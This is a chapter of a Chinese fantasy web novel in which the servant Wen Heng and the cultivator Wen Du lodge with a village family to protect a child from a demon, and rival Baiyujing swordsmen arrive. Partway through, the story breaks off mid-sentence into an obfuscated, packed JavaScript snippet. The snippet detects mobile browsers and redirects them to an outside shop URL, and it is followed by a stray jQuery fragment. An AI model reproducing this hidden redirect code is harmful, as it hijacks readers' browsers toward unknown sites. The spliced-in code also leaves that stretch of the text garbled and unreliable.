文趣网 > 都市小说 > 被献给恶徒之后 > 10. 匪风3
    文蘅走上前,顺着闻渡的视线看过去。

    那是一间不大的房间,屋中一床一桌一凳一柜。桌上搁着油灯和书纸,纸上是小孩子稚嫩的涂画。床临窗摆着,窗台上有一只发了绿芽的花盆,边上放了个瓷人,应当就是满满说的大将军。

    满满爹窘迫道:“家里地方小,委屈仙师凑合一晚。”

    闻渡没搭茬,嘴里依旧嚼饼,视线落在满满的房间,一动不动。

    文蘅莞尔,转走话题:“夫人这身子……是不是快到日子了?”

    满满兴高采烈拍手道:“是呀是呀!山婶儿说等我过完生辰,就会多一个弟弟妹妹,以后我们俩生辰连着过,可以吃两天好吃的!”

    她说着,小手抓住文蘅的袖子把她往饭桌前拉,拿起一只大饼塞给文蘅,手舞足蹈:“姐姐吃!今早爹爹天不亮起来发面蒸的,可暄乎了!”

    一直没说话的闻渡含糊不清道:“确实。”

    满满爹听了松口气:“仙师喜欢就好。”

    文蘅也没来由地跟着满满爹松了口气,她的目光移向方才一直没怎么说话的满满娘,见她眉间愁云不展,仍在为孩子安危挂心。

    再看闻渡,他的视线好像就没从满满房间移开过。手中饼吃完,他拍拍手,放下腿,走到文蘅身边,伸肘碰她:“你在这儿收拾晚上睡的屋,我出去一趟。”

    “是,公子。”文蘅轻声应道。

    他走后,满满爹娘肩头放松,大人比孩子识人清楚,他们知道这看似随意开朗的年轻人不好说话,与他说话,总透着股小心翼翼。

    文蘅默默上前掏出一块手帕,擦了擦闻渡方才踩过的凳子,坐下安静吃饭。满满爹娘牵着满满一同落座,满满娘试探问道:“仙师,这菜可合胃口?”

    “很好吃,多谢。”

    文蘅温煦的态度卸下两人心防,一桌人聊了会,满满娘问到了点子上:“闻仙师……他是真不收抓鬼的钱吗?”

    文蘅想起方才村里人说的话,顿了一下,而后道:“我也是前几天才跟在公子身边伺候的,对这些事不太清楚。”

    “啊,这样……”

    文蘅吃好,放下筷箸,想起闻渡刚才的吩咐,开口问道:“家里可有干净被褥?”

    “哦哦!有的有的!前些日子刚去镇子里做的。”满满爹连忙起身,去主屋拿。

    文蘅想了想,对满满娘说道:“最近这段时日,夫人最好去相处得好的亲友家中暂住。除祟时的煞气恐怕对夫人不好。”

    “那……那满满……”

    “邪祟的目标是满满,她不能跟在夫人身边。”文蘅说罢,觉得自己的提醒已经够了,便不再说话。

    此时恰巧满满爹抱着被褥过来,她上前接过,走进满满房中,将门带上。但她没着急干活,而是将卷起的新被褥放在床一角,自己躺在床上缓了会。

    烛薪府给的药膏很有效果,她只涂了两次,身体的痛感已减轻不少,但还是疼,躺在软软的褥子上才觉得好些。可惜被闻渡半夜喊出来,她没有随身带着药膏。闻渡给她的那盒,只起个止血的作用。

    躺够了起来,利索地将被褥换好,她又低头看着屋中剩下的空地面,思索打地铺的话,她好像都放不平腿。

    她把换下来的被褥卷好,出门还给了满满娘,这个时候满满爹去了地里,满满坐在院前的小马扎上发呆,文蘅走过去,问道:“害怕吗?”

    “不害怕。”满满摇头。

    “那你在想什么?”

    “在想满满什么时候可以长高,能帮爹爹娘亲打水。最近爹爹都得中午回一趟家,给家里打水做饭,然后又去地里,好累好累。”

    小孩子的苦恼近在眼前,文蘅目光落到水井上,轻声道:“我来吧。”

    文蘅虽然身体因营养不良而十分瘦弱,但常年干活练得她力气不小,打桶水不过举手之劳。

    满满解决了心头大患,瞬间变回清晨那只欢快小鸟,绕着她叽叽喳喳,最后可怜兮兮问道:“姐姐,你可不可以带我出去玩?我一出门,大家伙儿就要把我往家里赶,说出去会被妖怪抓走,我好闷哦……”

    “你娘亲答应,我就答应。”文蘅淡淡道。

    满满扁嘴,知道这是不可能达成的条件,小脑袋蔫哒哒抵在文蘅身侧,嘟囔道:“算了……那姐姐给我讲故事好么?”

    文蘅没有听到满满的问题,因为她注意到不远处传来密集的脚步声,声音沉稳,都是练家子。

    视线越过低矮的院墙,她看到一队人由远及近,入目皆是淡似白的蓝色衣装,身后负剑,是剑修。

    为首之人正侧头听引路的村民说话,眉眼温和,唇角微牵,人似清冷月华,笑如霜雪逢春。

    那队人路过满满家,步子没停,在引路的村民带领下往里走,文蘅挪步走到院墙前看他们远去的背影,银白剑鞘被日光映照,刺目灼眼的白。

    有人要跟闻渡抢生意了?

    中午用饭时,闻渡没回来,文蘅顺势跟着去地里的满满爹一块儿出门,问起上午的事。

    “啊,我也瞅见那些仙师了!应该是吴牛请的,我听他说要去别的地方找仙师……那地方仙师也不要钱,是叫……白、白……”

    “白玉京?”文蘅想起清早村民的议论内容,接话道。

    “好像是这么个名字,但我之前明明听他说这个白玉京离这儿远,去那儿少说也得个把月,怎么今天就来了?”

    文蘅若有所思点点头,和他分开,刚拐过一个弯,听见一个村民急吼吼的声音:“小春啊,别去地里啦!大牛家来了一群仙师,你赶快去求他们分点人去你家!”

    吴春为难道:“但是我家已经有了……”

    “哎呀,你赶紧找个借口把那两个人给送走,四狗说你家那个不是什么好人,动起手来人鬼不分啊!”

    “诶嘿,在说我吗?”

    此一言出,所有人的目光向上,看向屋顶上蹲着的人,闻渡正笑眯眯看着他们。

    传信的村民撒腿就跑,吴春立在原地,张张唇,不知道该说什么。

    闻渡收起笑,唇角微压,话意委屈:“来都来了,别赶我走嘛。你想找白玉京那些人,找就是了,我力薄才疏,正好观摩一番。”

    他扮委屈是一流演技,收起身上的浑气,好一个令人心生不忍的小少年。吴春莫名信了他那一套,试探问道:“那……那不如仙师跟我一起,去吴牛家一趟?”

    闻渡扁嘴摇头:“你不知道,那群剑修小气得很,什么剑招剑术,都只教给自家子弟,不让外人偷学,要是除祟的时候,有外人在,他们要翻脸的!你可不要告诉他们我也来了!”

    吴春被他这话弄得不知如何是好,但心底信了七八分,毕竟在寻常百姓的心里,修仙人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500501|202706||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大多都是目下无尘的。想来想去,他决定先不着急找白玉京的人,待明天打听一番他们性格如何,再做决定。

    打定主意,他要开口回闻渡,闻渡却没等他的答案,从屋顶一跃而下,稳稳落在躲于拐角处的文蘅身前,问她:“你出来干什么?也要去找白玉京的人?”

    文蘅面色不变:“有些奇怪他们的来历,我听说百姓此去白玉京,少说个把月,而他们来得太快了。”

    “不奇怪,估计是那个虞琼又带一些新入门的弟子到处历练,路上正好碰见去找他们的人了。”闻渡满脸不在乎地伸手抓过文蘅的肩,揽着她往回走。

    “……虞琼?”

    “剑修的什么第一剑尊,名号可响亮,谷时月总在我面前提起。”

    文蘅一板一眼接话:“他们初入村时,路过满满家,我看了一眼,为首之人身后之剑的确不是凡品。”

    闻渡来了聊天的兴致,脑袋凑过来跟她说人小话:“虞琼是白玉京宗主的庶长子,特受宠。他那把剑叫‘坐花’,铸造材料有市无价,当初白玉京花了大价钱买下。白玉京少主,叫什么我忘了,反正老标榜自己是嫡子,以为他爹买这材料是给他铸剑的,到处嘚瑟,来烛薪府还一遍遍说,把我烦得套麻袋揍了他一顿,揍完还没摘麻袋呢,虞琼得命剑的消息传过来,他直接气晕过去了哈哈哈哈哈哈……让他嘚瑟哈哈哈哈哈……”

    文蘅:……

    白玉京少主真的是被气晕而不是被闻渡打晕了吗?

    “后来呢?”

    闻渡笑意莫测:“你猜?”

    他满意看到文蘅露出被噎住的表情,转开话题道:“你猜我今天出来发现了什么?”

    “抓走孩子的邪祟?”

    “没瞧见,不过这村子里有别的妖。”

    文蘅精神紧绷:“别的妖?”

    “是只狐妖,在村里卖鸡的人家里,披着那家儿子的皮混日子,他可真会挑地方啊哈哈哈。”

    “不是说村里之前请了两个人来,没发现邪祟?”

    闻渡弹了一下她脑袋,随口道:“大概因为他们是半吊子啥也不会吧!”

    文蘅屈辱捂住了额头,低眉顺眼:“那公子打算怎么办?”

    “给他留了个小东西吓唬他,暂时不急着处理。”

    闻渡永远是那个样子,吊儿郎当,信马由缰,永远都不急。

    不对,躲懒倒是急。

    晚上用过晚膳,闻渡回了房,文蘅帮忙收拾碗筷,回房时,他已除了外袍,穿着中衣歪靠在床边,低头摆弄一个小机关。

    听文蘅开门进来,他没反应,在她从乾坤袋中掏出衣服准备打地铺时,他突然开口:“干什么呢?”

    “打地铺。”文蘅乖顺答道。

    “这点地方你躺得平吗?上来。”闻渡拍了拍床里侧,靠窗的位置。

    文蘅一时怔住,闻渡又道:“你不来我就把你拎上来了。”

    此言出,文蘅不敢含糊,收拾衣服站起身,小心翼翼爬上床。

    闻渡又道:“脱衣服。”

    文蘅动手将外衣解开,叠好收进放在一旁的乾坤袋里。

    她回来时,却被闻渡突然伸手按趴,他开口:“身上这件也脱了。”

    “……公子?”

    “或者你觉得隔着衣服上药也行?”闻渡歪头,低头打开手中的瓷盒。